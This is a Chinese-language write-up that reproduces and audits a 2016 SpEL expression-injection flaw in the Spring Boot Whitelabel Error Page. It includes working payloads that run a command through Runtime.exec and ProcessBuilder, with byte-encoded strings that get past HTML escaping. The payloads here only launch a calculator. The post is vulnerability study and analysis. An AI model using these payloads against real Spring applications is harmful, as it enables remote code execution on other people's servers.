这是2016年爆出的一个洞,在 CVE 上没有找到对应编号,经过多方资料查阅最终确认是唐朝实验室在乌云上提交的该通用漏洞,缺陷编号为WooYun-2016-226888。漏洞的产生主要来自程序员没有做异常处理 (开发要养成好习惯✊),使用了 springboot 默认的报错页面 (Whitelabel Error Page),默认报错页面会把判断参数是否是 SpEL 表达式,如果是就进行解析,进而导致一些危险操作的发生。由于继 2016年后依旧频频出现相关框架出现 SpEL 表达式注入漏洞,具有学习价值。通过这次复现与代码审计分析,彻底弄明白 SpEL 表达式注入漏洞的原理。
在 github issue 又看到早在 2015年就有人提出过这个漏洞,哎呀不管啦,就当乌云的编号算最初发现的,23333
Spring Boot <= 1.3.0
1、前期准备:(本地复现):
- java 1.8
- maven
2、创建 springboot 项目,引入 springboot 1 依赖, 并编写一个 Controller方法:
<dependencies>
<dependency>
<groupId>org.springframework.bootgroupId>
<artifactId>spring-boot-starter-webartifactId>
<version>1.3.0.RELEASEversion>
dependency>
dependencies>
2、启动springboot服务, 使用恶意 SpEL 表达式参数访问 getInfo 接口:
弹出计算器 SPEL 表达式:${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}
漏洞复现完毕,计算器成功弹出。可能会有小伙伴疑惑为什么不直接 exec(“clac”), 而是转来转去?后面慢慢揭晓~~
SpEL是Spring提供的一种的表达式语言,支持在运行时查询和操作对象。SpEL提供了对应的解析器
SpelExpressionParser
用于解析SpEL表达式。
Types 类: 可以使用T运算符来指定java.lang.Class的实例,静态方法也通过此运算符调用。除了java.lang包下的类,其余的类均需使用全限定类名。
ExpressionParser parser = new SpelExpressionParser();
Class dateClass = parser.parseExpression("T(java.util.Date)").getValue(Class.class);
Class stringClass = parser.parseExpression("T(String)").getValue(Class.class);
java.lang.reflect.InvocationTargetException
转义了特殊字符:<, >, ", &, ’
${T(Runtime).getRuntime().exec('calc')}
, 就会被转成${T(Runtime).getRuntime().exec('clac')}
, 被转义后就会出现问题。不妨我们把 value 变量值覆盖成 ${T(Runtime).getRuntime().exec('calc')}
, 我们继续往下看。For input string: "${T(Runtime).getRuntime().exec('calc')}"
, 有没发现,字符串里面还有 ${} 表达式。T(Runtime).getRuntime().exec('calc')
,这不就是一个 Type 类型的Spel表达式吗?
${T(Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}
${new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()}
到这里不仅搞清楚 低版本springboot 没做统一异常处理前提下抛出异常时,可能会被SpEL注入攻击的原理,也找到了payload被过滤的具体方式。
通过本次原理分析,更深入的理解了 springmvc 工作流程。其实经过以上分析,不难发现,可以执行代码和对类进行操作是SpeL表达式模块所提供的正常功能。Spel表达式注入漏洞有一定的特殊性,正常在编写项目的过程中很难会使用到该功能,但他存在于大的框架项目中,因此一旦被挖掘出来其危害是很大的,除了spel还有很多类似的框架级表达式注入漏洞,在接下来的一段时间内会继续跟踪学习。